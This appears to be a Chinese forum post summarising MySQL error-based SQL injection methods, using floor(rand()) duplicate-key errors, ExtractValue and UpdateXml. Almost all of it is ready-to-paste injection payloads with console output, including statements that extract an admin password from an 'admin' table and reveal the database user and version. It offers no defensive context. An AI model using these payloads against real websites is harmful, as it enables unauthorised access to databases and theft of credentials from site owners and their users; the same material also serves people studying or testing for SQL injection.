mysql 注入报错利用方法总结
<p><strong>1、通过floor报错</strong></p><p>可以通过如下一些利用代码</p>
<p>and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);</p>
<p>and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));</p>
<p>举例如下:</p>
<p>首先进行正常查询:</p>
<p>mysql> select * from article where id = 1;</p>
<p>+—-+——-+———+</p>
<p>| id | title | content |</p>
<p>+—-+——-+———+</p>
<p>| 1 | test | do it |</p>
<p>+—-+——-+———+</p>
<p>假如id输入存在注入的话,可以通过如下语句进行报错。</p>
<p>mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);</p>
<p>ERROR 1062 (23000): Duplicate entry ‘5.1.33-community-log1’ for key ‘group_key’</p>
<p>可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。</p>
<p>例如我们需要查询管理员用户名和密码:</p>
<p>Method1:</p>
<p>mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);</p>
<p>ERROR 1062 (23000): Duplicate entry ‘admin8881’ for key ‘group_key’</p>
<p>Method2:</p>
<p>mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));</p>
<p>ERROR 1062 (23000): Duplicate entry ‘admin8881’ for key ‘group_key’</p>
<p><strong>2、ExtractValue</strong></p>
<p>测试语句如下</p>
<p>and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));</p>
<p>实际测试过程</p>
<p>mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–</p>
<p>ERROR 1105 (HY000): XPATH syntax error: ‘\admin888’</p>
<p><strong>3、UpdateXml</strong></p>
<p>测试语句</p>
<p>and 1=(updatexml(1,concat(0x3a,(select user())),1))</p>
<p>实际测试过程</p>
<p>mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ‘:root@localhost’</p>
頁:
[1]